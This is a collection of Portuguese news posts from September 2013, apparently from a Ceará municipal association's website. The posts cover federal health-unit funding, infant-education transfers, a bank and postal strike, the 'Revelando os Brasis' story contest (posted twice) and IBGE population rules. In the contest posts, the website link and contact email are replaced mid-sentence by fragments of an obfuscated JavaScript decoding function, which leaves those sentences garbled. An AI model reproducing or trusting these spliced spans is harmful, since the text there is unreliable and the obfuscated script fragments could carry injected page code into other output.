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Ministério da Saúde vai financiar construção de 42 unidades básicas de saúde no Ceará

Postado em 26 setembro 2013

No total serão destinados recursos da ordem de R$ 17,24 milhões para unidades de 18 municípios cearenses; espaços têm de seguir normas de construção definida pelo órgão federal

O Ministério da Saúde publicou portaria que destina recursos da ordem de R$ 17,24 milhões para 42 Unidades Básicas de Saúde (UBSs) a serem construídas no Ceará.

Unidades Básicas de Saúde devem dispor de pelo menos uma equipe de atenção básica e um consultório odontológico Foto: Alex Pimentel

A medida vai beneficiar 18 municípios cearenses, com 41 unidades de saúde, compostas por, no mínimo, uma equipe de atenção básica cada,e uma unidade com, no mínimo, duas equipes.

As equipes são compostas de médico, enfermagem, auxiliar e técnico de enfermagem, cirurgião-dentista, auxiliar e técnico de saúde bucal, além de agentes comunitários da saúde.

A maior das UBSs fica em Várzea Alegre. Já o município com  o maior número de unidades éIpu, com cinco UBSs. As unidades compostas por uma equipe de atenção básica vão receber incentivos financeiros de R$ 408 mil e a unidade composta por duas equipes vai receber R$ 512 mil.  As primeiras UBSs devem ser concluídas em até 30 meses.

Unidades devem seguir regras de construção do MS

As prefeituras contempladas devem seguir as instruções do próprio Ministério e caso estourem o orçamento previsto devem arcar com os custos adicionais. Na situação inversa, se a construção custar menos que a verba destinada, o restante do dinheiro fica liberado para que a prefeitura use o recurso em outras ações na UBS.

O detalhamento das exigências do Ministério da Saúde está listado nas portarias nº 340, de 4 de março, e nº 1.345, de 5 de julho, ambas publicadas este ano. Entre os itens essenciais que as unidades devem possuir estão sala de recepção com capacidade para 15 a 30 pessoas, sala de inalação coletiva para 4 pessoas e área de 500 a 600 m².

Além desses requisitos, as UBSs devem dispor de itens de acessibilidade para pessoas com deficiência, sala de vacina, farmácia, áreas de dispensa e estocagem de medicamentos,consultório odontológico, salas de procedimentos e curativos, sala de observação, sala de esterilização, equipamento gerador de energia e área para ambulâncias.

Os recursos serão disponibilizados em três parcelas. A primeira, de 20%, a segunda de 60% e a terceira de 20%. Após a liberação da primeira parcela, os municípios têm nove meses para a emissão da Ordem de Serviço; a partir da segunda parcela, têm dezoito meses para emissão do Atestado de Conclusão; e após a liberação da terceira parcela, mais três meses para o início do atendimento.

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Recursos da Educação Infantil para municípios são autorizados

Postado em 24 setembro 2013

A Secretaria de Educação Básica do Ministério de Educação divulgou, nesta segunda-feira (23), a Portaria 47 de 2013 que autoriza o Fundo Nacional de Desenvolvimento da Educação (FNDE) a transferir recursos financeiros para educação infantil.
A resolução CD/FNDE 17, de 16 de maio de 2013 e a Portaria publicada nesta segunda tratam da transferência de recursos financeiros suplementares à manutenção e ao desenvolvimento da educação infantil. Os recursos devem atender crianças de zero a 48 meses, matriculadas em creches públicas ou conveniadas com o poder público.
A divulgação das transferências desses recursos tem sido publicada no Diário Oficial da União (DOU) através de Portarias da Secretaria de Educação Básica desde o dia 2 de agosto. No entanto o FNDE informou à entidade que foram analisados outros Municípios que pleitearam os recursos e mais uma vez houve a liberação.
O recebimento desses recursos também não é automático. Para recebê-los, o município precisa cadastrar junto ao FNDE as crianças de 0 a 48 meses com famílias beneficiárias pelo programa Bolsa Família. A novidade da Portaria 47/2013 é a divulgação da listagem de outros Municípios que estão aptos a receber o pagamento desse recurso, porque procederam ao cadastramento necessário.
Se o município possui matrículas que se enquadram para receber esse apoio suplementar da União, mas ainda não se cadastrou, deve fazê-lo até 30 de novembro. O gestor municipal deve acessar o Sistema Integrado de Monitoramento, Execução e Controle do Ministério da Educação (Simec) e, no Módulo E. I. Manutenção, na aba – Suplementação de Creches MDS, deve cadastrar as crianças que se encaixam nos critérios estabelecidos pelo governo federal.
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Bancários entram em greve por tempo indeterminado

Postado em 19 setembro 2013

Os bancários entram em greve por tempo indeterminado a partir de hoje. A paralisação deve atingir cerca de 524 agências no Ceará pelos cálculos do movimento grevista. Segundo o presidente da Confederação Nacional dos Trabalhadores do Ramo Financeiro da CUT (Contraf-CUT) e coordenador do Comando Nacional, Carlos Cordeiro, a categoria decidiu parar em resposta à proposta oferecida pelos bancos de 6,1% de reajuste, o que para ele “repõe somente a inflação do período pelo INPC”.

 

O dirigente disse que os bancários querem aumento de 11,93%, o que representa 5% de aumento real. A Federação Nacional dos Bancos (Fenaban), braço sindical da Federação Brasileira de Bancos (Febraban), afirmou que o piso salarial da categoria subiu mais de 75% nos últimos sete anos e os salários foram reajustados em 58%, ante uma inflação medida pelo INPC de 42%.

 

O diretor de Relações do Trabalho da Fenaban, Magnus Ribas Apostólico, afirma que a proposta deve ser avaliada considerando os ganhos dos últimos anos, que segundo ele “são bastante significativos, mas que representa custos”. Ele acrescentou que o momento atual exige cautela, pois a “economia está num ritmo mais lento, as margens de todos os setores estão mais apertadas e a geração de emprego está em queda.

 

“É um momento de se preservar conquistas e não de aumentar custos, por isso a proposta prevê manutenção do poder aquisitivo”, diz o diretor na nota enviada à imprensa. Conclui que a entidade se mantém aberta às negociações.

 

A Febraban informou que existem uma série de canais alternativos à disposição dos clientes para a realização de transações financeiras (caixas eletrônicos, a internet banking, o aplicativo do banco no celular (mobile banking), operações bancárias por telefone, casas lotéricas etc).

 

Correios

Já os funcionários dos Correios do Ceará estão em greve desde a terça-feira. Segundo Maria de Lourdes, coordenadora geral do Sindicado dos Trabalhadores em Correios, Telégrafos e Similares do Estado do Ceará (Sintect-CE), entre 15 e 20 cidades cearenses aderiram ao movimento.

 

“Umas agências fecharam, outras estão funcionando com 50% dos serviços e outras com 80%”disse Maria de Lourdes.

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Revelando os Brasis busca histórias nos pequenos Municípios

Postado em 17 setembro 2013

Buscar histórias nos pequenos Municípios e transformá-las em filme é a missão do Concurso Nacional de Histórias do Revelando os Brasis – Ano V. Os moradores de cidade com até 20 mil habitantes interessados podem fazer inscrição no concurso até dia 30 de setembro.
Podem ser inscritas histórias verdadeiras – baseadas em fatos históricos, personagens, tradições populares, causos, crenças, lendas, conflitos, etc – ou inventadas. Uma comissão formada por profissionais reconhecidos das áreas do cinema e da comunicação escolherá 20 histórias mais 20 suplentes. Os selecionados participarão de uma oficina audiovisual no Rio de Janeiro e, em seguida, voltarão aos Municípios de origem para gravar os filmes com até 15 minutos.
Nas quatro primeiras edições do projeto foram produzidas 160 obras, entre ficções e documentários. Os filmes são lançados em DVD com distribuição gratuita entre organizações sociais e culturais, bibliotecas, universidades e cineclubes de todo o Brasil, além disso, participam de festivais e mostras audiovisuais de âmbito local e nacional.
De acordo com levantamento divulgado em 2010 pelo Instituto Brasileiro de Geografia e Estatística (IBGE), o Brasil possui 5.568 municípios; desses, 3.924 têm até 20 mil habitantes. Consulte o function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandoosbrasis.com.br/" target="_blank">www.revelandoosbrasis.com.br para saber se o seu Município pode participar.
Ficha de inscrição aqui, e mais informações pelo telefone (27) 3327-6999 ou pelo e-mail function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaando@imazul.org" target="_blank">revelando@imazul.org.
FONTE: CNM
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Revelando os Brasis busca histórias nos pequenos Municípios

Postado em 13 setembro 2013

Buscar histórias nos pequenos Municípios e transformá-las em filme é a missão do Concurso Nacional de Histórias do Revelando os Brasis – Ano V. Os moradores de cidade com até 20 mil habitantes interessados podem fazer inscrição no concurso até dia 30 de setembro.
Podem ser inscritas histórias verdadeiras – baseadas em fatos históricos, personagens, tradições populares, causos, crenças, lendas, conflitos, etc – ou inventadas. Uma comissão formada por profissionais reconhecidos das áreas do cinema e da comunicação escolherá 20 histórias mais 20 suplentes. Os selecionados participarão de uma oficina audiovisual no Rio de Janeiro e, em seguida, voltarão aos Municípios de origem para gravar os filmes com até 15 minutos.
Nas quatro primeiras edições do projeto foram produzidas 160 obras, entre ficções e documentários. Os filmes são lançados em DVD com distribuição gratuita entre organizações sociais e culturais, bibliotecas, universidades e cineclubes de todo o Brasil, além disso, participam de festivais e mostras audiovisuais de âmbito local e nacional.
De acordo com levantamento divulgado em 2010 pelo Instituto Brasileiro de Geografia e Estatística (IBGE), o Brasil possui 5.568 municípios; desses, 3.924 têm até 20 mil habitantes. Consulte o function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandoosbrasis.com.br/" target="_blank">www.revelandoosbrasis.com.br para saber se o seu Município pode participar.
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Dados do IBGE não podem mais ser questionados pelos municípios

Postado em 5 setembro 2013

A revisão do número de habitantes divulgado pelo Instituto Brasileiro de Geografia e Estatística (IBGE) não pode mais ser solicitada pelos municípios. Desde julho deste ano, a Lei Complementar 143/2013 impede que os governos municipais recorram ou façam reclamações ao Instituto.
Até então, os entes públicos tinham 20 dias, após a divulgação oficial das estimativas populacionais, para apresentarem reclamações fundamentadas ao IBGE. Este prazo foi, portanto, revogado. Assim, não há mais nenhum dispositivo legal para que os Municípios recorram administrativamente contra os dados do Instituto.
Como resposta a este impedimento, a Confederação Nacional de Municípios encaminhou oficio ao IBGE no último dia 30 de agosto. No documento, a entidade municipalista, a qual a Aprece é fortemente ligada, indaga sobre como os entes municipais poderão proceder no caso de discordarem dos dados apresentados.
Orientações
A nova legislação alterou alguns artigos da Lei 8.443/1992, que trata sobre o cálculo das quotas referentes aos Fundos de Participação dos Estados, Distrito Federal (FPE) e Municípios (FPM).
Depois da estimativa populacional divulgada esta semana pelo IBGE, 549 municípios poderiam pedir a revisão de faixa no coeficiente do FPM. Esses entes possuem diferença de até mil habitantes, o que possibilitaria a mudança.
A orientação é que os gestores insatisfeitos com a lista divulgada pelo IBGE a ingressem diretamente na justiça para revisão dos números. Não existe a necessidade de recurso administrativo prévio para o posterior ingresso da ação judicial.
Acesse a lista dos 549 Municípios que poderiam pedir a revisão de faixa no coeficiente do FPM.
Veja Ofício.
Fonte: CNM
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